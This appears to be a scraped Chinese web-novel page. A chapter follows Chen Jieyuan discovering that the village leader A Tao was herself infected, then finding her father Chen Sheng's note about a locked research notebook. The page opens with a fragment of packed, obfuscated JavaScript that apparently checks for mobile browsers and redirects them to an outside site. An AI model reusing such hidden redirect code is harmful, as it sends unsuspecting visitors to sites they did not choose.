l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16187068|180983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恶心的肉泥。 软烂的血肉混合物从地表上摊开,蔓延至陈结愿的脚下。 陈结愿忍住干呕的冲动,突然想到什么。 阿桃刚才也被坎特雷拉碰到过,怎么没有腐烂? 她这么想着,当机立断走向阿桃的遗体,用她身边的菜刀挑起阿桃的衣服。 果不其然,从阿桃的脖颈直到后背铺满了密密麻麻的蓝色鳞片。 她也是感染者。 陈结愿感到更加恶心,再也忍不下去,丢掉菜刀,扶着地吐了好久。 这真是太讽刺了。 原来一切的罪魁祸首也不是单纯的人类。 陈结愿又回想起徐志的经历。 阿桃应该不是最开始的那一批感染的,在她发现自己被感染的时候,村子里已经用感染者的血繁荣了相当一段时间了。 聪明的阿桃当然知道自己会被如何对待,所以她选择了隐藏。 每日隐藏着血冻对自己的诱惑,哪怕在烈日下也穿着厚重的衣服,没有一丝动摇地残害同为感染者的同胞。 这就是稻家村的主心骨,村民们厌恶感染者,忌惮感染者,乃至是残忍地杀害感染者……却没想过,他们一直所追随的,他们认为是救世主的,其实也不过是个道貌岸然的感染者。 坎特雷拉却像是早就发现了一样,溜到陈结愿身边,“真是自私呢,为了自己能够活下去这么残害同胞。” “还是我比较好,对吧?” 他笑眯眯的,看得陈结愿火大,抬手就扇了他一巴掌。 明明这是陈结愿目前为止对他伤害最小的攻击,可坎特雷拉的表情变了又变,脸色由白转青。 下一秒,坎特雷拉抬手扇了回去。 这次轮到陈结愿不可置信了,“你打我?” 坎特雷拉怔愣地收回手,“我就是,条件反射……” 陈结愿此刻理智已经不剩多少了,又想扇回去,被坎特雷拉阻止住。 “等一下!我找到了一些东西!” 陈结愿皱眉,抽出手,转而又拿起菜刀就要劈下去。 “是陈生的东西!” 陈结愿顿住,瞬间熄了火。 父亲的东西…… 坎特雷拉张开手,手心里俨然藏着一张小小的丝绒盒子。 这跟稻家村的整体氛围完全不搭,确实像是陈结愿父亲的东西。 陈结愿一把夺过盒子,打开来看。 里面什么都没有,只有一张纸条。 【真奇怪,我明明不是什么感性的人。】 【不知道谁会发现这张纸,如果你能发现的话,我希望你可以替我保存好一样东西。】 【它在附近的研究所里,应该是被一个叫梁毅的人藏起来了,我希望你能找到它。】 【它是我的……应该不算是笔记。】 【如果你能找到它,那你应该会很容易认出来,它的封面上有我的署名,对了,我叫陈生。】 【它叫《剧毒深海鱼研究手册》,是一个本子,不过我在上面粘了一个密码锁,密码是1224。】 【希望你看过之后不会觉得我不可理喻。】